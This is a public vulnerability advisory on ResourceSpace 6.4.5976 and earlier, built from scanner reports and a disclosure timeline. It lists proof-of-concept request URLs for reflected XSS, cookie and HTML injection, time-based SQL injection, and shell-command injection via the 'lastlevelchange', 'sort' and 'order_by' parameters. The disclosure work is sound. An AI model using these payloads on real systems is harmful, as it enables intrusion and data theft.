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ResourceSpace Multiple Cross Site Scripting, and HTML and SQL Injection Vulnerabilities



Title: ResourceSpace Multiple Cross Site Scripting, and HTML and SQL Injection Vulnerabilities
Author: Petri Iivonen
Contact: petri.iivonen_at_tmbc_gov_uk
Discovered: 11 June 2014
Updated: 11 December 2014
Published: 11 December 2014
Vendor: Montala Limited
Vendor url: www.resourcespace.org
Software: ResourceSpace Digital Asset Management Software
Versions: 6.4.5976 and prior
Status: Unpatched
Vulnerable scripts:
/pages/themes.php
/pages/preview.php
/pages/help.php
/pages/search.php
/pages/user_password.php
/pages/user_request.php
(and probably others)

Description:
ResourceSpace is vulnerable to Cross-Site Scripting, and HTML and SQL injection attacks, and insecure cookie handling. The scripts fail to properly sanitize user-supplied input, check the network protocol used to access the site.

Vulnerability: SC­1414
Name: Cross Site Scripting (XSS)
Type: Application
Asset Group: Multiple
Source: SureCloud
IP Address:
Status: Open
Hostname:
Last Seen: 6 Oct 2014
Service: tcp/https:443
Severity: 4
Risk: 40
CVSS Base Score: 5.8 ( Exploit: 8.6 Impact: 4.9 )
Resolution Effort: 3

Description:
 This web application is vulnerable to Cross Site Scripting (XSS).
XSS is caused when an application echoes user controllable input data back to the browser without first sanitising or escaping dangerous characters. Unescaped strings are then interpreted or executed by the browser as script, just as if they had originated from the web server.
Malicious script is sent by the attacker via the vulnerable web application and executed on the victims browser, within the context of that user and may be used to steal session information, redirect users to a malicious site, and even steal credentials in a Phishing attack.
Ref: http://www.owasp.org/index.php/Cross_Site_Scripting
http://cwe.mitre.org/data/definitions/79.html

Solution:
 Validate all user controllable input data (hidden fields, URL parameters, Cookie values, HTTP headers etc) against expected Type, Length and where possible, Format and Range characteristics. Reject any data that fails validation.
Sanitise all user controllable input data (hidden fields, URL parameters, Cookie values, HTTP headers etc) by converting potentially dangerous characters (listed below) into HTML entities such as > < etc using output encoding.
By combining proper input validation with effective input sanitisation and output encoding, Cross Site Scripting vulnerabilities will be mitigated.
[1] <> (triangular parenthesis)
[2] " (quotation mark)
[3] &apos; (single apostrophe)
[4] % (percent sign)
[5] ; (semicolon)
[6] () (parenthesis)
[7] & (ampersand sign)
[8] + (plus sign)
[9] / (forward slash)
[10] | (pipe)
[11] [] (square brackets)
[12] : (colon)

Information
URI: /pages/preview.php
Parameter: sort (GET)
Other Info: "><SCRIPT>alert('SureApp XSS');</SCRIPT>

Vulnerability: 44967
Name: CGI Generic Command Execution (time­based)
Type: CGI abuses
Asset Group:  Multiple
Source: SureCloud Vulnerability Scan
IP Address
Status: Open
Hostname:
Last Seen: 11 Nov 2014
Service: tcp/www:443
Severity: 4
Risk: 40
CVSS Base Score: 7.5

Description:
 The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to execute arbitrary commands on the remote host.
Note that this script uses a time­based detection method which is less reliable than the basic method.

Solution:
 Restrict access to the vulnerable application. Contact the
vendor for a patch or upgrade.

Information:
 Using the GET HTTP method, Nessus found that:

+ The following resources may be vulnerable to arbitrary command execution (time based) :
+ The 'lastlevelchange' parameter of the /pages/themes.php CGI :

/pages/themes.php?lastlevelchange=%20;%20x%20%7C%7C%20sleep%203%20%26
/pages/themes.php?lastlevelchange=%7C%7C%20sleep%203%20%26
/pages/themes.php?lastlevelchange=%26%20ping%20­n%203%20127.0.0.1%20%26
/pages/themes.php?lastlevelchange=x%20%7C%7C%20ping%20­n%203%20127.0.0.1%20%26
/pages/themes.php?lastlevelchange=%7C%7C%20ping%20­n%203%20127.0.0.1%20%26
/pages/themes.php?lastlevelchange=%7C%20ping%20­n%203%20127.0.0.1%20%7C

References:
CWE: 20
CWE: 713
CWE: 722
CWE: 727
CWE: 74
CWE: 77
CWE: 78

?-----------------------------------------------------------------------------------------------------
Vulnerability: 43160
Name: CGI Generic SQL Injection (blind, time based)
Type: CGI abuses
Asset Group: Multiple
Source: SureCloud Vulnerability Scan
IP Address:
Status: Open
Hostname:
Last Seen: 11 Nov 2014
Service: tcp/www:443
Severity: 4
Risk: 40
CVSS Base Score: 7.5

Description
 By sending specially crafted parameters to one or more CGI scripts hosted on the remote web server, Nessus was able to get a slower
response, which suggests that it may have been able to modify the behavior of the application and directly access the underlying database.
An attacker may be able to exploit this issue to bypass authentication, read confidential data, modify the remote database, or even take control of the remote operating system.
Note that this script is experimental and may be prone to false positives.

Solution:
 Modify the affected CGI scripts so that they properly escape arguments.

Information:
 Using the GET HTTP method, Nessus found that :
+ The following resources may be vulnerable to blind SQL injection (time based) :
+ The 'lastlevelchange' parameter of the /pages/themes.php CGI :
/pages/themes.php?lastlevelchange='%20AND%20SLEEP(3)='
/pages/themes.php?lastlevelchange='%20AND%200%20IN%20(SELECT%20SLEEP(3))%20­­%20
/pages/themes.php?lastlevelchange=';WAITFOR%20DELAY%20'00:00:3';
/pages/themes.php?lastlevelchange=');WAITFOR%20DELAY%20'00:00:3';
/pages/themes.php?lastlevelchange='));WAITFOR%20DELAY%20'00:00:3';
/pages/themes.php?lastlevelchange=';SELECT%20pg_sleep(3);
/pages/themes.php?lastlevelchange=');SELECT%20pg_sleep(3);
/pages/themes.php?lastlevelchange='));SELECT%20pg_sleep(3);

Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)
/pages/themes.php?lastlevelchange='%20AND%20SLEEP(3)='

References
CWE: 20
CWE: 713
CWE: 722
CWE: 727
CWE: 751
CWE: 77
CWE: 801
CWE: 810
CWE: 89

?---------------------------------------------------------------------------------------------------------------

Vulnerability: 55903
Name: CGI Generic XSS (extended patterns)
Type: CGI abuses : XSS
Asset Group: Multiple
Source: SureCloud Vulnerability Scan
IP Address:
Status: Open
Hostname
Last Seen: 11 Nov 2014
Service: tcp/www:443
Severity: 3
Risk: 30
CVSS Base Score: 4.3

Description
 The remote web server hosts one or more CGI scripts that fail to adequately sanitize request strings with malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML and script code to be executed in a user's browser within the security context of the affected site. These XSS vulnerabilities are likely to be 'non­persistent' or 'reflected'.

Solution
 Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Information
Using the GET HTTP method, Nessus found that :
+ The following resources may be vulnerable to cross­site scripting+ The 'sort' parameter of the /pages/preview.php CGI :
/pages/preview.php?sort=504%20onerror="alert(504);
­­­­­­­­ output ­­­­­­­­
(extended patterns) :
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=504 onerror="alert(504);&archive=&k=">&lt;&nbsp;Back to resource view</
a>
­­­­­­­­­­­­­­­­­­­­­­­­
/pages/preview.php?sort=&sort=504%20onerror="alert(504);
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=504 onerror="alert(504);&archive=&k=">&lt;&nbsp;Back to resource view</
a>
­­­­­­­­­­­­­­­­­­­­­­­­
+ The 'order_by' parameter of the /pages/preview.php CGI :
/pages/preview.php?order_by=504%20onerror="alert(504);
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=504 o
nerror="alert(504);&sort=DESC&archive=&k=">&lt;&nbsp;Back to resource vi
ew</a>
­­­­­­­­­­­­­­­­­­­­­­­­
/pages/preview.php?order_by=&order_by=504%20onerror="alert(504);
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=504 o
nerror="alert(504);&sort=DESC&archive=&k=">&lt;&nbsp;Back to resource vi
ew</a>
­­­­­­­­­­­­­­­­­­­­­­­­
+ The 'sort' parameter of the /pages/preview.php CGI :
/pages/preview.php?sort=504%20onerror="alert(504);&search=&order_by=&fro
m=
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=504 onerror="alert(504);&archive=&k=">&lt;&nbsp;Back to resource view</
a>
­­­­­­­­­­­­­­­­­­­­­­­­
/pages/preview.php?sort=&sort=504%20onerror="alert(504);&search=&order_b
y=&from=
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=504 onerror="alert(504);&archive=&k=">&lt;&nbsp;Back to resource view</
a>
­­­­­­­­­­­­­­­­­­­­­­­­
+ The 'order_by' parameter of the /pages/preview.php CGI :
/pages/preview.php?sort=&search=&order_by=504%20onerror="alert(504);&fro
m=
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=504 o
nerror="alert(504);&sort=&archive=&k=">&lt;&nbsp;Back to resource view</
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a>
­­­­­­­­­­­­­­­­­­­­­­­­
/pages/preview.php?sort=&search=&order_by=&order_by=504%20onerror="alert
(504);&from=
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=504 o
nerror="alert(504);&sort=&archive=&k=">&lt;&nbsp;Back to resource view</
a>
­­­­­­­­­­­­­­­­­­­­­­­­
Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)
/pages/preview.php?sort=504%20onerror="alert(504);
/pages/preview.php?order_by=504%20onerror="alert(504);
References
CWE: 116
CWE: 20
CWE: 442
CWE: 692
CWE: 712
CWE: 722
CWE: 725
CWE: 74
CWE: 751
CWE: 79
CWE: 80
CWE: 801
CWE: 81
CWE: 811
CWE: 83
CWE: 86

?----------------------------------------------------------------------------------------------------

Vulnerability: 49067
Name: CGI Generic HTML Injections (quick test)
Type: CGI abuses : XSS
 Asset Group: Multiple
Source: SureCloud Vulnerability Scan
IP Address: 
Status: Open
Hostname
Last Seen: 11 Nov 2014
Service: tcp/www:443
Severity: 3
Risk: 30
CVSS Base Score: 5.0

Description
The remote web server hosts CGI scripts that fail to adequately sanitize
request strings with malicious JavaScript. By leveraging this issue,
an attacker may be able to cause arbitrary HTML to be executed inuser's browser within the security context of the affected site.
The remote web server may be vulnerable to IFRAME injections or
cross­site scripting attacks :
­ IFRAME injections allow 'virtual defacement' that
might scare or anger gullible users. Such injections
are sometimes implemented for 'phishing' attacks.
­ XSS are extensively tested by four other scripts.
­ Some applications (e.g. web forums) authorize a subset
of HTML without any ill effect. In this case, ignore
this warning.

Solution
Either restrict access to the vulnerable application or contact the
vendor for an update.

Information
Using the GET HTTP method, Nessus found that :
+ The following resources may be vulnerable to HTML injection :
+ The 'sort' parameter of the /pages/preview.php CGI :
/pages/preview.php?sort=<"jfunqd%20>
­­­­­­­­ output ­­­­­­­­
a
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=<"jfunqd >&archive=&k=">&lt;&nbsp;Back to resource view</a>
­­­­­­­­­­­­­­­­­­­­­­­­
+ The 'order_by' parameter of the /pages/preview.php CGI :
/pages/preview.php?order_by=<"jfunqd%20>
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=<"jfu
nqd >&sort=DESC&archive=&k=">&lt;&nbsp;Back to resource view</a>
­­­­­­­­­­­­­­­­­­­­­­­­
+ The 'sort' parameter of the /pages/preview.php CGI :
/pages/preview.php?sort=<"jfunqd%20>&search=&order_by=&from=
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=<"jfunqd >&archive=&k=">&lt;&nbsp;Back to resource view</a>
­­­­­­­­­­­­­­­­­­­­­­­­
+ The 'order_by' parameter of the /pages/preview.php CGI :
/pages/preview.php?sort=&search=&order_by=<"jfunqd%20>&from=
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=<"jfu
nqd >&sort=&archive=&k=">&lt;&nbsp;Back to resource view</a>
­­­­­­­­­­­­­­­­­­­­­­­­
Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)
/pages/preview.php?sort=<"jfunqd%20>
/pages/preview.php?order_by=<"jfunqd%20>

References
CWE: 80
CWE: 86

?---------------------------------------------------------------------------------------------------
Vulnerability: SC­1628
Name: SSL cookie without secure flag set
Type: Web Servers
Asset Group: Multiple
Source: SureCloud
IP Address:
Status: Open
Hostname:
Last Seen: 12 Nov 2014
Service: tcp/https:443
Severity: 3
Risk: 30
CVSS Base Score: 6.4 ( Exploit: 10.0 Impact: 4.9 )

Resolution Effort: 1
Description
 If the secure flag is not set, then the cookie will be transmitted in clear­text if the user visits any non SSL
(HTTP) URLs within the cookie's scope.
Solution
 The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing
content over HTTPS.
If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS
should employ their own session handling mechanism, and the session tokens used should never be
transmitted over unencrypted communications.
Information
 
URI: /pages/help.php
Other Info: thumbs=show; expires=Tue, 08­Aug­2017 01:53:11 GMT
URI: /pages/search.php
Other Info: display=thumbs; httponly
URI: /pages/themes.php
Other Info: saved_themes_order_by=name; httponly
URI: /pages/user_password.php
Other Info: starsearch=deleted; expires=Tue, 12­Nov­2013 01:53:08 GMT; httponly
URI: /pages/user_password.php
Other Info: starsearch=deleted; expires=Tue, 12­Nov­2013 01:54:30 GMT; httponly
URI: /pages/user_request.php
Other Info: starsearch=deleted; expires=Tue, 12­Nov­2013 01:53:07 GMT; httponly
URI: /pages/user_request.php
Other Info: starsearch=deleted; expires=Tue, 12­Nov­2013 01:54:25 GMT; httponly

?-------------------------------------------------------------------------------

Vulnerability: 44136
Name: CGI Generic Cookie Injection Scripting
Type: CGI abuses
Asset Group: Multiple
Source: SureCloud Vulnerability Scan
IP Address:
Status: Open
Hostname:
Last Seen: 11 Nov 2014
Service: tcp/www:443
Severity: 3
Risk: 30
CVSS Base Score: 5.0

Description
The remote web server hosts at least one CGI script that fails to
adequately sanitize request strings with malicious JavaScript.
By leveraging this issue, an attacker may be able to inject arbitrary
cookies. Depending on the structure of the web application, it may be
possible to launch a 'session fixation' attack using this mechanism.
Please note that :
­ Nessus did not check if the session fixation attack is
feasible.
­ This is not the only vector of session fixation.

Solution
Restrict access to the vulnerable application. Contact the vendor
for a patch or upgrade.

Information
Using the GET HTTP method, Nessus found that :
+ The following resources may be vulnerable to cookie manipulation :
+ The 'sort' parameter of the /pages/preview.php CGI :
/pages/preview.php?sort=<script>document.cookie="testshay=5812;"</script
>
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=<script>document.cookie="testshay=5812;"</script>&archive=&k=">&lt;&nbs
p;Back to resource view</a>
­­­­­­­­­­­­­­­­­­­­­­­­
/pages/preview.php?sort=&sort=<script>document.cookie="testshay=5812;"</
script>
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=<script>document.cookie="testshay=5812;"</script>&archive=&k=">&lt;&nbs
p;Back to resource view</a>
­­­­­­­­­­­­­­­­­­­­­­­­
References
CWE: 472
CWE: 642
CWE: 715
CWE: 722

?--------------------------------------------------------------------------------------------

Vulnerability: 39466
Name: CGI Generic XSS (quick test)
Type: CGI abuses : XSS
Asset Group: Multiple
Source: SureCloud Vulnerability Scan
IP Address: 
Status: Open
Hostname: 
Last Seen: 11 Nov 2014
Service: tcp/www:443
Severity: 3
Risk: 30
CVSS Base Score: 5.0

Description
The remote web server hosts CGI scripts that fail to adequately sanitize
request strings with malicious JavaScript. By leveraging this issue,
an attacker may be able to cause arbitrary HTML and script code
to be executed in a user's browser within the security context of the
affected site.
These XSS are likely to be 'non persistent' or 'reflected'.
Solution
Restrict access to the vulnerable application. Contact the vendor
for a patch or upgrade.

Information
Using the GET HTTP method, Nessus found that :
+ The following resources may be vulnerable to cross­site scripting (quick+ The 'order_by' parameter of the /pages/preview.php CGI :
/pages/preview.php?order_by=<IMG%20SRC="javascript:alert(104);">
­­­­­­­­ output ­­­­­­­­
test) :
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=<IMG
SRC="javascript:alert(104);">&sort=DESC&archive=&k=">&lt;&nbsp;Back to r
esource view</a>
­­­­­­­­­­­­­­­­­­­­­­­­
/pages/preview.php?order_by=&order_by=<IMG%20SRC="javascript:alert(104);
">
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=<IMG
SRC="javascript:alert(104);">&sort=DESC&archive=&k=">&lt;&nbsp;Back to r
esource view</a>
­­­­­­­­­­­­­­­­­­­­­­­­
+ The 'sort' parameter of the /pages/preview.php CGI :
/pages/preview.php?sort=<IMG%20SRC="javascript:alert(104);">
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=<IMG SRC="javascript:alert(104);">&archive=&k=">&lt;&nbsp;Back to resou
rce view</a>
­­­­­­­­­­­­­­­­­­­­­­­­
/pages/preview.php?sort=&sort=<IMG%20SRC="javascript:alert(104);">
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=<IMG SRC="javascript:alert(104);">&archive=&k=">&lt;&nbsp;Back to resou
rce view</a>
­­­­­­­­­­­­­­­­­­­­­­­­

References
CWE: 116
CWE: 20
CWE: 442
CWE: 692
CWE: 712
CWE: 722
CWE: 725
CWE: 74
CWE: 751
CWE: 79
CWE: 80
CWE: 801
CWE: 81
CWE: 811
CWE: 83
CWE: 86

?--------------------------------------------------------------------------------------------------------------

Also issues to be aware of:

Vulnerability: SC­1629
Name: Cookie without HttpOnly flag set
Type: Web Servers
Asset Group: Multiple
Source: SureCloud
IP Address:
Status: Open
Hostname:
Last Seen: 12 Nov 2014
Service: tcp/https:443
Severity: 3
Risk: 30
CVSS Base Score: 6.4 ( Exploit: 10.0 Impact: 4.9 )
Resolution Effort: 1
Description
 When the HttpOnly attribute is set on a cookie, then the cookies value cannot be read or set by client­side
JavaScript.
HttpOnly prevent certain client­side attacks, such as Cross Site Scripting (XSS), from capturing the cookies
value via an injected script. When HttpOnly is set, script access to document.cookie results in a blank string
being returned.
Solution
 HttpOnly can safely be set for all Cookie values, unless the application has a specific need for Script access
to cookie contents (which is highly unusual).
Please note also that HttpOnly does not mitigate against all dangers of Cross Site Scripting ­ any XSS
vulnerabilities identified must still be fixed.
Information
 URI: /pages/help.php
Other Info: thumbs=show; expires=Tue, 08­Aug­2017 01:53:11 GMT

?-------------------------------------------------------------------------------

Vulnerability: SC­1629
Name: Cookie without HttpOnly flag set
Type: Web Servers
Asset Group: Multiple
Source: SureCloud
IP Address:
Status: Open
Hostname: 
Last Seen: 12 Nov 2014
Service: tcp/http:80
Severity: 3
Risk: 30
CVSS Base Score: 6.4 ( Exploit: 10.0 Impact: 4.9 )
Resolution Effort: 1

Description
 When the HttpOnly attribute is set on a cookie, then the cookies value cannot be read or set by client­side JavaScript.
HttpOnly prevent certain client­side attacks, such as Cross Site Scripting (XSS), from capturing the cookies value via an injected script. When HttpOnly is set, script access to document.cookie results in a blank string being returned.

Solution
HttpOnly can safely be set for all Cookie values, unless the application has a specific need for Script access
to cookie contents (which is highly unusual).
Please note also that HttpOnly does not mitigate against all dangers of Cross Site Scripting ­ any XSS vulnerabilities identified must still be fixed.

Information
 URI: /pages/collection_share.php
Other Info: thumbs=show; expires=Tue, 08­Aug­2017 01:53:42 GMT
URI: /pages/contactsheet_settings.php
Other Info: thumbs=show; expires=Tue, 08­Aug­2017 01:53:38 GMT
URI: /pages/help.php
Other Info: thumbs=show; expires=Tue, 08­Aug­2017 01:53:05 GMT
URI: /pages/preview.php
Other Info: thumbs=hide; expires=Tue, 08­Aug­2017 01:57:55 GMT
URI: /pages/resource_email.php
Other Info: thumbs=show; expires=Tue, 08­Aug­2017 01:57:42 GMT
URI: /pages/view.php
Other Info: thumbs=show; expires=Tue, 08­Aug­2017 01:57:45 GMT


Disclosure time-line
June 2014: Discovery
11 June 2014: Initial report sent.
12 June 2014: Vendor announces that vulnerabilities will be fixed in next release
23 June 2014: Vendor release Version 6.3.5565, no release info assuming quiet patching
05 July 2014: New scan shows no patches applied
28 October 2014: Vendor releases Version 6.4.5976. Vulnerabilities still present
27 November 2014: Second contact, this report delivered to the vendor
11 December 2014: Public disclosure.

Author disclaimer:
The information contained in this entire document is for educational, demonstration and testing purposes only.
Author cannot be held responsible for any malicious use or damage. Use at your own risk.